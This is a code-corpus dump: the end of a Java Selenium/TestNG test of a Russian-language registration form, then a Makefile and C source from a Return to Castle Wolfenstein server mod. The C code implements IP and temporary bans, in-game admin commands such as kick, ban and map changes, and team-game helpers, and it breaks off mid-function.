WebElement formErrorOne = driver.findElement(By.xpath("//*[@id=\"new_user\"]/div[3]/div/div/div/div[1]"));
Assert.assertTrue(formErrorOne.isDisplayed(), "Ошибка юзернейма не отображается");
Assert.assertEquals("* Необходимо заполнить\n* Минимум 2 символа(ов)\n* Запрещены специальные символы", formErrorOne.getText());
WebElement formErrorTwo = driver.findElement(By.xpath("//*[@id=\"new_user\"]/div[4]/div/div/div/div[1]"));
Assert.assertTrue(formErrorTwo.isDisplayed(), "Ошибка емейла не отображается");
Assert.assertEquals("* Необходимо заполнить\n* Неверный формат email", formErrorTwo.getText());
WebElement formErrorThree = driver.findElement(By.xpath("//*[@id=\"new_user\"]/div[5]/div/div/div[1]/div[1]"));
Assert.assertTrue(formErrorThree.isDisplayed(), "Ошибка пароля не отображается");
Assert.assertEquals("* Необходимо заполнить\n* Минимум 6 символа(ов)", formErrorThree.getText());
WebElement formErrorFour = driver.findElement(By.xpath("//*[@id=\"new_user\"]/div[5]/div/div/div[2]/div[1]"));
Assert.assertTrue(formErrorFour.isDisplayed(), "Ошибка подтверждения пароля не отображается");
Assert.assertEquals("* Необходимо заполнить", formErrorFour.getText());
WebElement formErrorFive = driver.findElement(By.xpath("//*[@id=\"new_user\"]/div[9]/div/div/span/div/div[1]"));
Assert.assertTrue(formErrorFive.isDisplayed(), "Ошибка чекбокса не отображается");
Assert.assertEquals("* Необходимо отметить", formErrorFive.getText());
}
}
| 7f5ed95054c9617f6bb4ecf91f43f86aa791f0fb | [
"Java"
] | 1 | Java | YuraPuzyrev/TestNgWork | cbce3a474e7547c70e0a437fb3901de11bd9d9bd | b6e8ea79a09f5ac5bd05887d5196c0493a574660 |
refs/heads/master | <file_sep>CC = gcc-4.1
CXX = g++-4.1
COMMON_INCLUDE = Omnibot/Common/
RTCW_INCLUDE = Omnibot/rtcw/
CFLAGS = -O3 -DGAMEDLL -DOMNIBOT -w -fno-strict-aliasing -fPIC
CXXFLAGS = -I$(COMMON_INCLUDE) -I$(RTCW_INCLUDE) -fpermissive $(CFLAGS)
CSOURCES = $(shell ls S4ND_*.c g_*.c q_*.c bg_animation.c bg_misc.c bg_pmove.c bg_slidemove.c md5.c)
CXXSOURCES = $(wildcard *.cpp) Omnibot/Common/BotLoadLibrary.cpp
all: gameclean qagame.mp.i386.so clean
gameclean:
rm -rf *.o *.oxx
qagame.mp.i386.so: $(CXXSOURCES:.cpp=.oxx) $(CSOURCES:.c=.o)
$(CXX) -lpthread -s -shared -Wl,-soname,$@ -o $@ $?
.c.o:
$(CC) $(CFLAGS) -c $< -o $@
%.oxx: %.cpp
$(CXX) $(CXXFLAGS) -c $< -o $@
clean:
rm -f *.o *.oxx
<file_sep>#include "g_local.h"
#include "S4ND_local.h"
void ParseStr(const char *strInput, char *strCmd, char *strArgs)
{
int i = 0, j=0;
int foundspace=0;
while(strInput[i] != 0){
if(!foundspace){
if(strInput[i] == ' '){
foundspace = 1;
strCmd[i]=0;
}else
strCmd[i]=strInput[i];
i++;
}else{ // We have found a space
strArgs[j++]=strInput[i++];
}
}
if(!foundspace)
strCmd[i]=0;
strArgs[j]=0;
}
void Parseip(const char *InputIP, char *ip1, char *ip2,char *ip3,char *ip4)
{
int i, j=0;
int foundperiod=0;
//clear them all
ip1="";
ip2="";
ip3="";
ip4="";
for(i=0; i < strlen(InputIP); i++){
if(!foundperiod){//we havent found a period
if(InputIP[i] != '.'){
ip1[j]=InputIP[i];
j++;
}else{//found us a period
j = 0;
foundperiod++;
}
}else if(foundperiod == 1){//after period 1
if(InputIP[i] != '.'){
ip2[j]=InputIP[i];
j++;
}else{//found us a period
j = 0;
foundperiod++;
}
}else if(foundperiod == 2){//after period 2
if(InputIP[i] != '.'){
ip3[j]=InputIP[i];
j++;
}else{//found us a period
j= 0;
foundperiod++;
}
}else if(foundperiod == 3){//after period 3
ip4[j]=InputIP[i];
j++;
}
}
}
void BreakRange(const char *range, char *from, char *to){
int i = 0, j=0;
int founddash=0;
for(i=0; i<strlen(range); i++)
{
if(range[i] == '|')
{
to[j++]=0;
if(!founddash)
{
from="0.0.0.0";
to="0.0.0.0";
}
break;
}
if (!founddash)
{
if(range[i] == '-')
{
founddash++;
from[j++]=0;
j=0;
}else{
from[j++]=range[i];
}
}else{
to[j++]=range[i];
}
}
}
qboolean PermBan(const char *IP)
{
//Players ip
char ip1[4];
char ip2[4];
char ip3[4];
char ip4[4];
//end
//IPfrom
char ipfrom[20];
char ipfrom1[4];
char ipfrom2[4];
char ipfrom3[4];
char ipfrom4[4];
//end
//IPto
char ipto[20];
char ipto1[4];
char ipto2[4];
char ipto3[4];
char ipto4[4];
//end
char buffer[1024];
FILE*permbanlist;
//int i;
Q_strncpyz ( ip1, "", sizeof( ip1 ) );
Q_strncpyz ( ip2, "", sizeof( ip2 ) );
Q_strncpyz ( ip3, "", sizeof( ip3 ) );
Q_strncpyz ( ip4, "", sizeof( ip4 ) );
BreakIP(IP,ip1,ip2,ip3,ip4);
permbanlist = fopen("permbanlist.txt","r");
if(permbanlist){
while (fgets(buffer,1024,permbanlist)!=NULL){
Q_strncpyz ( ipfrom, "", sizeof( ipfrom ) );
Q_strncpyz ( ipto, "", sizeof( ipto ) );
BreakRange(buffer,ipfrom,ipto);
Q_strncpyz ( ipfrom1, "", sizeof( ipfrom1 ) );
Q_strncpyz ( ipfrom2, "", sizeof( ipfrom2 ) );
Q_strncpyz ( ipfrom3, "", sizeof( ipfrom3 ) );
Q_strncpyz ( ipfrom4, "", sizeof( ipfrom4 ) );
BreakIP(ipfrom,ipfrom1,ipfrom2,ipfrom3,ipfrom4);
Q_strncpyz ( ipto1, "", sizeof( ipto1 ) );
Q_strncpyz ( ipto2, "", sizeof( ipto2 ) );
Q_strncpyz ( ipto3, "", sizeof( ipto3 ) );
Q_strncpyz ( ipto4, "", sizeof( ipto4 ) );
BreakIP(ipto,ipto1,ipto2,ipto3,ipto4);
if((atoi(ip1)>= atoi(ipfrom1) && atoi(ip1) <= atoi(ipto1))&&
(atoi(ip2) >= atoi(ipfrom2) && atoi(ip2) <= atoi(ipto2))&&
(atoi(ip3) >= atoi(ipfrom3) && atoi(ip3) <= atoi(ipto3))&&
(atoi(ip4) >= atoi(ipfrom4) && atoi(ip4) <= atoi(ipto4))){
fclose(permbanlist);
return qtrue;
}
}
fclose(permbanlist);
}
return qfalse;
}
//GetPasswords
char * GetPasswords(const char * input)
{
int count;//need to find whats between the first and 2nd divider
char output[1024];
int start, end,i,j;
end = -1;
j=0;
count = 0;
start = 0;
output[0] = 0;
for(i=0;i<strlen(input);i++)
{
if(count == 0){
if(input[i]=='|')
{
count=1;
start=i+1;
continue; //first divider
}
}else if(count == 1)
{
if(input[i]=='|')
{
count=2;
end=i;
break; //there is a password entry!
}
}
}
if(end != -1){
for(i=start; i < end;i++)
{
output[j++]=input[i];
}
output[j++]=0;
}else{
output[0]=0;
}
return va("%s",output);
}
/*
=========
isBanned
=========
*/
qboolean IPFound(const char *IP, const char *fileName)
{
//Players ip
char ip1[4];
char ip2[4];
char ip3[4];
char ip4[4];
//end
//IPfrom
char ipfrom[20];
char ipfrom1[4];
char ipfrom2[4];
char ipfrom3[4];
char ipfrom4[4];
//end
//IPto
char ipto[20];
char ipto1[4];
char ipto2[4];
char ipto3[4];
char ipto4[4];
//end
char buffer[1024];
FILE*banfile = fopen(fileName, "r");
Q_strncpyz ( ip1, "", sizeof( ip1 ) );
Q_strncpyz ( ip2, "", sizeof( ip2 ) );
Q_strncpyz ( ip3, "", sizeof( ip3 ) );
Q_strncpyz ( ip4, "", sizeof( ip4 ) );
BreakIP(IP,ip1,ip2,ip3,ip4);
if(banfile){
while (fgets(buffer,1024,banfile)!=NULL)
{
Q_strncpyz ( ipfrom, "", sizeof( ipfrom ) );
Q_strncpyz ( ipto, "", sizeof( ipto ) );
Q_strncpyz ( ipfrom1, "", sizeof( ipfrom1 ) );
Q_strncpyz ( ipfrom2, "", sizeof( ipfrom2 ) );
Q_strncpyz ( ipfrom3, "", sizeof( ipfrom3 ) );
Q_strncpyz ( ipfrom4, "", sizeof( ipfrom4 ) );
Q_strncpyz ( ipto1, "", sizeof( ipto1 ) );
Q_strncpyz ( ipto2, "", sizeof( ipto2 ) );
Q_strncpyz ( ipto3, "", sizeof( ipto3 ) );
Q_strncpyz ( ipto4, "", sizeof( ipto4 ) );
BreakRange(buffer,ipfrom,ipto);
BreakIP(ipfrom,ipfrom1,ipfrom2,ipfrom3,ipfrom4);
BreakIP(ipto,ipto1,ipto2,ipto3,ipto4);
if((atoi(ip1)>= atoi(ipfrom1) && atoi(ip1) <= atoi(ipto1))&&
(atoi(ip2) >= atoi(ipfrom2) && atoi(ip2) <= atoi(ipto2))&&
(atoi(ip3) >= atoi(ipfrom3) && atoi(ip3) <= atoi(ipto3))&&
(atoi(ip4) >= atoi(ipfrom4) && atoi(ip4) <= atoi(ipto4))){
bannedpasswords=GetPasswords(buffer);
fclose(banfile);
return qtrue; // found IP
}
}
fclose(banfile);
}
return qfalse; //not found
}
qboolean BreakIP(const char *IP, char *charip1, char* charip2, char* charip3, char* charip4){
int i = 0, a=0, b=0, c=0, d=0;
int foundperiod=0;
while(IP[i] != 0){
if (!isdigit(IP[i]) && IP[i] != '.'){
return qfalse;
}
if(!foundperiod){//havent found any periods
if(IP[i] == '.'){
foundperiod = 1;
charip1[a]=0;
}else
charip1[a]=IP[i];
i++;
a++;
}else if(foundperiod == 1 ){ // We have found 1 period
if(IP[i] == '.'){
foundperiod = 2;
charip2[b]=0;
}else
charip2[b]=IP[i];
i++;
b++;
}else if(foundperiod == 2 ){ // We have found 2 periods
if(IP[i] == '.'){
foundperiod = 3;
charip3[c]=0;
}else
charip3[c]=IP[i];
i++;
c++;
}else if(foundperiod == 3 ){ // We have found 3 periods
if(IP[i] == '.'){
foundperiod = 4;
charip4[d]=0;
}else
charip4[d]=IP[i];
i++;
d++;
}
}
return qtrue;
}
/*
====================================================================
this is actually for the new ban that i think wont crash :)
but kev gave me this so i put here and ban = admin.... kinda right
Maybe kev should be put on the developers page?
====================================================================
*/
void GetIP(const char *strIP1, char *strIP2, char *strPort){
int i = 0, j=0;
int foundcolon=0;
while(strIP1[i] != 0)
{
if(!foundcolon)
{
if(strIP1[i] == ':') {
foundcolon = 1;
strIP2[i]=0;
}
else
strIP2[i]=strIP1[i];
i++;
}
else
{
strPort[j++]=strIP1[i++];
}
}
if(!foundcolon)
strIP2[i]=0;
strPort[j]=0;
}
void GetAdmin(const char *strCMD1, char *strCMD2, char *strCMD3){
int i = 0, j=0;
int foundcolon=0;
while(strCMD1[i] != 0)
{
if(!foundcolon)
{
if(strCMD1[i] == '!') {
foundcolon = 1;
strCMD2[i]=0;
}
else
strCMD2[i]=strCMD1[i];
i++;
}
else
{
strCMD3[j++]=strCMD1[i++];
}
}
if(!foundcolon)
strCMD2[i]=0;
strCMD3[j]=0;
}
void easy_admin(gentity_t *ent){
char *token, *cmd, *centralize_cmds = NULL;
char uneeded[128];
char Command[128];
int nums[MAX_CLIENTS];
char message[MAX_STRING_CHARS];
int count = 0;
int i;
qboolean usedCmd = qfalse;
//Nobo shiz
//this just takes the '!' off the admin cmd
GetAdmin(ent->client->pers.Command1, uneeded, Command);
if ( !Q_stricmp(Command, "") ){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3You must give a command\n\""));
return;
}
if ( ent->client->sess.admin || ent->client->sess.developer )
S4ND_Log("ADMIN CMD: %s(%s) sent command %s %s %s", ent->client->pers.netname, ent->client->sess.ip, ent->client->pers.Command1, ent->client->pers.Command2, ent->client->pers.Command3);
//Nobo - refactored with switch, removed 700 lines of useless travis code. GG
//Also changing anything that says "by admin" or "the admin" to actually tell the user/users who the fuck did it.
//Oh, and gave it proper indentation/ID styling, jesus christ.
switch ( ent->client->sess.admin ) {
case 1:
centralize_cmds = a1_cmds.string;
break;
case 2:
centralize_cmds = a2_cmds.string;
break;
case 3:
centralize_cmds = a3_cmds.string;
break;
case 4:
centralize_cmds = a4_cmds.string;
break;
case 5:
centralize_cmds = a5_cmds.string;
break;
case 6:
centralize_cmds = a6_cmds.string;
break;
}
if ( ent->client->sess.admin ) {
if (strlen(centralize_cmds))
{
cmd = centralize_cmds;
while (centralize_cmds !=0)
{
token = COM_Parse(&cmd);
if (!token || !token[0])
break;
if( !strcmp(Command,"cn") ) {
count = ClientNumberFromNameMatch(ent->client->pers.Command2, nums);
if (count == 0) {
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client not on server\n\""));
usedCmd = qtrue;
return;
}
strcpy( message, va("chat \"") );
for (i = 0; i < count; i++)
strcat(message, va("%s: %s%i%s\n", g_entities[nums[i]].client->pers.netname, S_COLOR_YELLOW, nums[i], S_COLOR_WHITE));
strcat(message, "\"");
trap_SendServerCommand(ent-g_entities, message);
usedCmd = qtrue;
return;
}else if ( (!strcmp(Command,"spec")) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all"))) ) {
if ( !strcmp("999", ent->client->pers.Command2)) {
trap_SendServerCommand(-1, va("chat \"console: ^3Forced connecting players to spectators.\n\""));
trap_Cvar_Set( "g_lockteams", "0" );
for (i = 0; i < level.maxclients; i++){
if(!g_entities[i].client)
continue;
if(g_entities[nums[i]].client->sess.sessionTeam == TEAM_SPECTATOR)
continue;
if(g_entities[i].client->pers.connected == CON_CONNECTING)
trap_SendConsoleCommand(EXEC_APPEND, va("forceteam %i s", nums[i]));
}
usedCmd = qtrue;
return;
}else{
count = ClientNumberFromNameMatch(ent->client->pers.Command2, nums);
if (count == 0){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client not on server\n\""));
usedCmd = qtrue;
return;
}else if (count > 1){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Too many people with %s in their name\n\"", ent->client->pers.Command2));
usedCmd = qtrue;
return;
}
for (i = 0; i < count; i++) {
trap_SendConsoleCommand(EXEC_APPEND, va("forceteam %i s", nums[i]));
trap_SendServerCommand(-1, va("chat \"console: %s ^3forced to spectators.\n\"", g_entities[nums[i]].client->pers.netname));
}
usedCmd = qtrue;
return;
}
}else if ( (!strcmp(Command,"kick")) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all"))) ) {
count = ClientNumberFromNameMatch(ent->client->pers.Command2, nums);
if (count == 0) {
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client not on server\n\""));
usedCmd = qtrue;
return;
}else if (count > 1) {
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Too many people with %s in their name\n\"", ent->client->pers.Command2));
usedCmd = qtrue;
return;
}
for (i = 0; i < count; i++){
trap_DropClient( nums[i], va( "kicked by %.99s ^7%s", ent->client->pers.netname, ent->client->pers.Command3 ) );
trap_SendServerCommand(-1, va("chat \"console: %s ^3kicked by ^7%.99s ^7%s\n\"", g_entities[nums[i]].client->pers.netname, ent->client->pers.netname, ent->client->pers.Command3 ));
}
usedCmd = qtrue;
return;
}else if( (!strcmp(Command,"tempban")) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all"))) ) {
count = ClientNumberFromNameMatch(ent->client->pers.Command2, nums);
if (count == 0) {
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client not on server\n\""));
usedCmd = qtrue;
return;
}else if (count > 1){
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Too many people with %s in their name\n\"", ent->client->pers.Command2));
usedCmd = qtrue;
return;
}
for (i = 0; i < count; i++){
trap_SendConsoleCommand(EXEC_APPEND, va("tempban %i %s", nums[i], ent->client->pers.Command3 ));
trap_DropClient( nums[i], va( "temporarily banned by %.99s.", ent->client->pers.netname ) );
trap_SendServerCommand(-1, va("chat \"console: %s ^3Temporarily banned by ^7%.99s\n\"", g_entities[nums[i]].client->pers.netname, ent->client->pers.netname ));
}
usedCmd = qtrue;
return;
}else if( (!strcmp(Command,"ban")) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all"))) ){
count = ClientNumberFromNameMatch(ent->client->pers.Command2, nums);
if (count == 0) {
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client not on server\n\""));
usedCmd = qtrue;
return;
}else if (count > 1) {
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Too many people with %s in their name\n\"", ent->client->pers.Command2));
usedCmd = qtrue;
return;
}
for (i = 0; i < count; i++){
trap_DropClient( nums[i], va( "banned by %.99s. ^7%s", ent->client->pers.netname, ent->client->pers.Command3 ) );
//trap_SendServerCommand(-1, va("chat \"console: %s ^3banned by %.99s. ^7%s\n\"", g_entities[nums[i]].client->pers.netname, ent->client->pers.netname, ent->client->pers.Command3 ));
trap_SendConsoleCommand(EXEC_APPEND, va("addip %s %i %i ban", g_entities[nums[i]].client->sess.ip, ent-g_entities, nums[0] ));
}
usedCmd = qtrue;
return;
}else if ( (!strcmp(Command,"shuffle")) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all"))) ) {
trap_SendServerCommand(-1, va("chat \"console: %.99s ^3shuffled the teams.\n\"", ent->client->pers.netname));
trap_SendConsoleCommand( EXEC_APPEND, va("%s", Command));
usedCmd = qtrue;
}
else if (((!strcmp(Command, "ignore")) || (!strcmp(Command, "unignore")) || (!strcmp(Command, "slap")) || (!strcmp(Command, "kill")) || (!strcmp(Command, "forceteam")) || (!strcmp(Command, "force"))) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all")))){
count = ClientNumberFromNameMatch(ent->client->pers.Command2, nums);
if (count == 0) {
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Client not on server\n\""));
usedCmd = qtrue;
return;
}else if (count > 1) {
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3Too many people with %s in their name\n\"", ent->client->pers.Command2));
usedCmd = qtrue;
return;
}
for (i = 0; i < count; i++) {
if (!Q_stricmp(Command, "forceteam") || !Q_stricmp(Command, "force"))
trap_SendConsoleCommand( EXEC_APPEND, va("%s %i %s\n", Command, nums[i], ent->client->pers.Command3));
else
trap_SendConsoleCommand( EXEC_APPEND, va("%s %i %i\n", Command, nums[i], ent-g_entities));
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3You used ^1%s ^3on ^1%s\n\"", Command, g_entities[nums[i]].client->pers.netname));
}
usedCmd = qtrue;
return;
}else if ( (!strcmp(Command,"g_password")) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all"))) ) {
trap_SendConsoleCommand( EXEC_APPEND, va("%s %s", Command, ent->client->pers.Command2));
usedCmd = qtrue;
}else if ( (!strcmp(Command,"map")) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all"))) ){
trap_SendServerCommand(-1, va("chat \"console: %.99s ^3changed the map.\n\"", ent->client->pers.netname));
trap_SendConsoleCommand( EXEC_APPEND, va("%s %s", Command, ent->client->pers.Command2));
usedCmd = qtrue;
}else if ( (!strcmp(Command,"swap_teams")) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all"))) ) {
trap_SendServerCommand(-1, va("chat \"console: %.99s ^3swapped the teams.\n\"", ent->client->pers.netname));
trap_SendConsoleCommand( EXEC_APPEND, va("%s", Command));
usedCmd = qtrue;
}else if ( (!strcmp(Command,"reset_match")) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all"))) ) {
trap_SendServerCommand(-1, va("chat \"console: %.99s ^3reset the match.\n\"", ent->client->pers.netname));
trap_SendConsoleCommand( EXEC_APPEND, va("%s", Command));
usedCmd = qtrue;
}else if ( (!strcmp(Command,"say")) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all"))) ){
trap_SendServerCommand(-1, va("chat \"%.99s^7: %s %s\n\"",ent->client->pers.netname, ent->client->pers.Command2, ent->client->pers.Command3));
usedCmd = qtrue;
}else if ( (!strcmp(Command,"cp")) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all"))) ) {
trap_SendServerCommand(-1, va("cp \"%.99s^7: %s %s\n\"",ent->client->pers.netname, ent->client->pers.Command2, ent->client->pers.Command3));
usedCmd = qtrue;
}else if ( (!strcmp(Command,"removeip") || !strcmp(Command, "addip") ) && ((!Q_stricmp(Command, token)) || (!Q_stricmp(token, "all"))) ) {
if ( !Q_stricmp(ent->client->pers.Command2, "") ){
trap_SendServerCommand(ent-g_entities, va("cp \"^3You must provide an IP\n\""));
return;
}
if ( !Q_stricmp(ent->client->pers.Command3, "") )
trap_SendConsoleCommand( EXEC_APPEND, va("%s %s %i", Command, ent->client->pers.Command2, ent-g_entities));
else
trap_SendConsoleCommand( EXEC_APPEND, va("%s %s %s %i", Command, ent->client->pers.Command2, ent->client->pers.Command3, ent-g_entities));
usedCmd = qtrue;
}else if ( !Q_stricmp(Command, token) || !Q_stricmp(token, "all") ) {
trap_SendConsoleCommand( EXEC_APPEND, va("%s %s %s", Command, ent->client->pers.Command2, ent->client->pers.Command3));
if ( Q_stricmp(ent->client->pers.Command2, "") )
trap_SendServerCommand(-1, va("chat \"console: %.99s ^3changed %s to %s\n\"",ent->client->pers.netname, Command, ent->client->pers.Command2));
else
trap_SendServerCommand(-1, va("chat \"console: %.99s ^3used %s\n\"",ent->client->pers.netname, Command));
usedCmd = qtrue;
return;
}
}
}
if(usedCmd == qfalse)
trap_SendServerCommand(ent-g_entities, va("chat \"console: ^3You are not allowed to use ^1%s ^3as %.99s\n\"", Command, ent->client->sess.status));
}
}
/*////////////
TEMPBAN_CLIENT
*/////////////
void TEMPBAN_CLIENT(gentity_t *ent, const int minsbanned){
int nobofix;
FILE *tempbannedfile;
time_t rawtime;
time ( &rawtime );
nobofix = ((rawtime - 1103760000)+(minsbanned*60));
tempbannedfile=fopen("tempbanned.txt","a+");//Open file
fputs(va("%i %s\n", nobofix, ent->client->sess.ip), tempbannedfile);
fclose(tempbannedfile);
}
void rewrite_tempbanned(void)
{
FILE *bannedfile;
FILE *tempfile;
char tempbannedips[64];
bannedfile=fopen("tempbanned.txt","w+");
tempfile=fopen("tempbannedtemp.txt","r+");
while (fgets(tempbannedips,64,tempfile)!=NULL)
{
fputs(tempbannedips,bannedfile);
}
fclose(bannedfile);
fclose(tempfile);
remove("tempbannedtemp.txt");
}
void write_tempbannedtemp()
{
FILE *bannedfile;
FILE *tempfile;
char tempbaninfo[64];
char tempbannedip[20];
int tempbannedsec;
time_t rawtime;
time ( &rawtime );
bannedfile=fopen("tempbanned.txt","r+");
if(bannedfile){
tempfile=fopen("tempbannedtemp.txt","w+");
if (tempfile) {
while (fgets(tempbaninfo,64,bannedfile)!=NULL)
{
sscanf(tempbaninfo,"%i %s",&tempbannedsec, &tempbannedip);
if( (tempbannedsec-(rawtime - 1103760000)) > 0 )
fputs(tempbaninfo,tempfile);
}
fclose(tempfile);
}
fclose(bannedfile);
rewrite_tempbanned();
}
}
void clean_tempbans(void)
{
write_tempbannedtemp();
}
qboolean TempBanned(char * Clientip){
FILE *tempbannedfile;
char tempbannedip[20];
int tempbannedsec;
int tens;
int mins;
int seconds;
char tempbannedinfo[1024];
char * theTime;
time_t rawtime;
time ( &rawtime );
tempbannedfile=fopen("tempbanned.txt","r");//Open file
if (tempbannedfile){//if there is a tembbannedfile
while (fgets(tempbannedinfo,1024,tempbannedfile)!=NULL){
sscanf(tempbannedinfo,"%i %s",&tempbannedsec, &tempbannedip);
if (!Q_stricmp (Clientip, tempbannedip) && (tempbannedsec-(rawtime - 1103760000)) > 0 ) {
fclose(tempbannedfile);
seconds = (tempbannedsec - (rawtime - 1103760000));
mins = seconds / 60;
seconds -= mins * 60;
tens = seconds / 10;
seconds -= tens * 10;
theTime = va("%i:%i%i",mins,tens,seconds);
// trap_SendConsoleCommand( EXEC_INSERT, va("g_tempbanmsg \"You are banned for: %s\"\n", theTime ) );
//TempBannedMessage = va("^3You Are Temporarily Banned For: %s", theTime );
TempBannedMessage = va("^3Temp Banned For: %s %s", theTime, g_tempbanmsg.string);
return qtrue;
}
}
fclose(tempbannedfile);
}
return qfalse;
}
qboolean Banned(char * Clientip)
{
FILE * bannedfile;
char ip1[10];
char ip2[10];
char ip3[10];
char ip4[10];
char banip1[10];
char banip2[10];
char banip3[10];
char banip4[10];
char bannedips[1024];
Q_strncpyz ( ip1, "", sizeof( ip1 ) );
Q_strncpyz ( ip2, "", sizeof( ip2 ) );
Q_strncpyz ( ip3, "", sizeof( ip3 ) );
Q_strncpyz ( ip4, "", sizeof( ip4 ) );
BreakIP(va("%s\n",Clientip),ip1,ip2,ip3,ip4);
bannedfile=fopen("banned.txt","r");//Open file for reading
if (bannedfile){//if we found it lets compare client ip to the list
while(fgets(bannedips,1024,bannedfile)!=NULL){
Q_strncpyz ( banip1, "", sizeof( banip1 ) );
Q_strncpyz ( banip2, "", sizeof( banip2 ) );
Q_strncpyz ( banip3, "", sizeof( banip3 ) );
Q_strncpyz ( banip4, "", sizeof( banip4 ) );
BreakIP(bannedips, banip1, banip2, banip3, banip4);//break up the banned ip into 4 numbers
if (!Q_stricmp (banip1, ip1) || !Q_stricmp (banip1, "*")){
if (!Q_stricmp (banip2, ip2) || !Q_stricmp (banip2, "*")){
if (!Q_stricmp (banip3, ip3) || !Q_stricmp (banip3, "*")){
if (!Q_stricmp (banip4, ip4) || !Q_stricmp (banip4, "*\n")){
fclose(bannedfile);
return qtrue;
}
}
}
}
}
fclose(bannedfile);//close here if they opened it but the player was not banned
}
return qfalse;//they wernt banned so move on
}
int CheckBANS(char * ip)
{
if (IPFound(ip, "banned.txt"))
return 1;
if(TempBanned(ip))
return 2;
return 0;
}
<file_sep>
#include <limits.h>
#include "g_local.h"
#include "S4ND_local.h"
typedef struct teamgame_s
{
float last_flag_capture;
int last_capture_team;
} teamgame_t;
teamgame_t teamgame;
void Team_InitGame(void)
{
memset(&teamgame, 0, sizeof teamgame);
}
int OtherTeam(int team) {
if (team==TEAM_RED)
return TEAM_BLUE;
else if (team==TEAM_BLUE)
return TEAM_RED;
return team;
}
const char *TeamName(int team) {
if (team==TEAM_RED)
return "RED";
else if (team==TEAM_BLUE)
return "BLUE";
else if (team==TEAM_SPECTATOR)
return "SPECTATOR";
return "FREE";
}
const char *OtherTeamName(int team) {
if (team==TEAM_RED)
return "BLUE";
else if (team==TEAM_BLUE)
return "RED";
else if (team==TEAM_SPECTATOR)
return "SPECTATOR";
return "FREE";
}
const char *TeamColorString(int team) {
if (team==TEAM_RED)
return S_COLOR_RED;
else if (team==TEAM_BLUE)
return S_COLOR_BLUE;
else if (team==TEAM_SPECTATOR)
return S_COLOR_YELLOW;
return S_COLOR_WHITE;
}
// NULL for everyone
void QDECL PrintMsg( gentity_t *ent, const char *fmt, ... ) {
char msg[1024];
va_list argptr;
char *p;
va_start (argptr,fmt);
if (vsprintf (msg, fmt, argptr) > sizeof(msg)) {
G_Error ( "PrintMsg overrun" );
}
va_end (argptr);
// double quotes are bad
while ((p = strchr(msg, '"')) != NULL)
*p = '\'';
trap_SendServerCommand ( ( (ent == NULL) ? -1 : ent-g_entities ), va("print \"%s\"", msg ));
}
/*
==============
OnSameTeam
==============
*/
qboolean OnSameTeam( gentity_t *ent1, gentity_t *ent2 ) {
if ( !ent1->client || !ent2->client ) {
return qfalse;
}
if ( g_gametype.integer < GT_TEAM ) {
return qfalse;
}
if ( ent1->client->sess.sessionTeam == ent2->client->sess.sessionTeam ) {
return qtrue;
}
return qfalse;
}
// JPW NERVE moved these up
#define WCP_ANIM_NOFLAG 0
#define WCP_ANIM_RAISE_AXIS 1
#define WCP_ANIM_RAISE_AMERICAN 2
#define WCP_ANIM_AXIS_RAISED 3
#define WCP_ANIM_AMERICAN_RAISED 4
#define WCP_ANIM_AXIS_TO_AMERICAN 5
#define WCP_ANIM_AMERICAN_TO_AXIS 6
#define WCP_ANIM_AXIS_FALLING 7
#define WCP_ANIM_AMERICAN_FALLING 8
// jpw
/*
================
Team_FragBonuses
Calculate the bonuses for flag defense, flag carrier defense, etc.
Note that bonuses are not cumlative. You get one, they are in importance
order.
================
*/
void Team_FragBonuses(gentity_t *targ, gentity_t *inflictor, gentity_t *attacker)
{
int i;
gentity_t *ent;
int flag_pw, enemy_flag_pw;
int otherteam;
gentity_t *flag, *carrier = NULL;
char *c;
vec3_t v1, v2;
int team;
// no bonus for fragging yourself
if (!targ->client || !attacker->client || targ == attacker)
return;
team = targ->client->sess.sessionTeam;
otherteam = OtherTeam(targ->client->sess.sessionTeam);
if (otherteam < 0)
return; // whoever died isn't on a team
// JPW NERVE -- no bonuses for fragging friendlies, penalties scored elsewhere
if (team == attacker->client->sess.sessionTeam)
return;
// jpw
// same team, if the flag at base, check to he has the enemy flag
if (team == TEAM_RED) {
flag_pw = PW_REDFLAG;
enemy_flag_pw = PW_BLUEFLAG;
} else {
flag_pw = PW_BLUEFLAG;
enemy_flag_pw = PW_REDFLAG;
}
// did the attacker frag the flag carrier?
if (targ->client->ps.powerups[enemy_flag_pw]) {
attacker->client->pers.teamState.lastfraggedcarrier = level.time;
if (g_gametype.integer >= GT_WOLF) {
AddScore(attacker, WOLF_FRAG_CARRIER_BONUS);
}
else {
AddScore(attacker, CTF_FRAG_CARRIER_BONUS);
PrintMsg(NULL, "%s" S_COLOR_WHITE " fragged %s's flag carrier!\n",
attacker->client->pers.netname, TeamName(team));
}
attacker->client->pers.teamState.fragcarrier++;
// the target had the flag, clear the hurt carrier
// field on the other team
for (i = 0; i < g_maxclients.integer; i++) {
ent = g_entities + i;
if (ent->inuse && ent->client->sess.sessionTeam == otherteam)
ent->client->pers.teamState.lasthurtcarrier = 0;
}
return;
}
if (g_gametype.integer < GT_WOLF) { // JPW NERVE no danger protect in wolf
if (targ->client->pers.teamState.lasthurtcarrier &&
